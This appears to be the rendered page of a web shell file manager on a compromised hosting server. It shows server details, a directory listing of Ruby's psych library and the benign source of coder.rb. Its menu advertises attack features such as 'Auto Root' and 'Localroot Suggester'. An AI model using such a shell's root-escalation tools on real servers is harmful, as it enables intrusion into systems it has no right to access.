Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 3.145.216.39
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby24 /
lib64 /
ruby /
2.4.0 /
psych /
Delete
Unzip
Name
Size
Permission
Date
Action
handlers
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
json
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
nodes
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
visitors
[ DIR ]
drwxr-xr-x
2024-03-03 22:48
class_loader.rb
1.91
KB
-rw-r--r--
2023-07-26 14:47
coder.rb
2.05
KB
-rw-r--r--
2023-07-26 14:47
core_ext.rb
782
B
-rw-r--r--
2023-07-26 14:47
deprecated.rb
2.52
KB
-rw-r--r--
2023-07-26 14:47
exception.rb
265
B
-rw-r--r--
2023-07-26 14:47
handler.rb
7.05
KB
-rw-r--r--
2023-07-26 14:47
nodes.rb
2.36
KB
-rw-r--r--
2023-07-26 14:47
omap.rb
76
B
-rw-r--r--
2023-07-26 14:47
parser.rb
1.67
KB
-rw-r--r--
2023-07-26 14:47
scalar_scanner.rb
4.28
KB
-rw-r--r--
2023-07-26 14:47
set.rb
75
B
-rw-r--r--
2023-07-26 14:47
stream.rb
924
B
-rw-r--r--
2023-07-26 14:47
streaming.rb
668
B
-rw-r--r--
2023-07-26 14:47
syntax_error.rb
586
B
-rw-r--r--
2023-07-26 14:47
tree_builder.rb
2.08
KB
-rw-r--r--
2023-07-26 14:47
versions.rb
187
B
-rw-r--r--
2023-07-26 14:47
visitors.rb
237
B
-rw-r--r--
2023-07-26 14:47
y.rb
191
B
-rw-r--r--
2023-07-26 14:47
Save
Rename
# frozen_string_literal: false module Psych ### # If an object defines +encode_with+, then an instance of Psych::Coder will # be passed to the method when the object is being serialized. The Coder # automatically assumes a Psych::Nodes::Mapping is being emitted. Other # objects like Sequence and Scalar may be emitted if +seq=+ or +scalar=+ are # called, respectively. class Coder attr_accessor :tag, :style, :implicit, :object attr_reader :type, :seq def initialize tag @map = {} @seq = [] @implicit = false @type = :map @tag = tag @style = Psych::Nodes::Mapping::BLOCK @scalar = nil @object = nil end def scalar *args if args.length > 0 warn "#{caller[0]}: Coder#scalar(a,b,c) is deprecated" if $VERBOSE @tag, @scalar, _ = args @type = :scalar end @scalar end # Emit a map. The coder will be yielded to the block. def map tag = @tag, style = @style @tag = tag @style = style yield self if block_given? @map end # Emit a scalar with +value+ and +tag+ def represent_scalar tag, value self.tag = tag self.scalar = value end # Emit a sequence with +list+ and +tag+ def represent_seq tag, list @tag = tag self.seq = list end # Emit a sequence with +map+ and +tag+ def represent_map tag, map @tag = tag self.map = map end # Emit an arbitrary object +obj+ and +tag+ def represent_object tag, obj @tag = tag @type = :object @object = obj end # Emit a scalar with +value+ def scalar= value @type = :scalar @scalar = value end # Emit a map with +value+ def map= map @type = :map @map = map end def []= k, v @type = :map @map[k] = v end alias :add :[]= def [] k @type = :map @map[k] end # Emit a sequence of +list+ def seq= list @type = :seq @seq = list end end end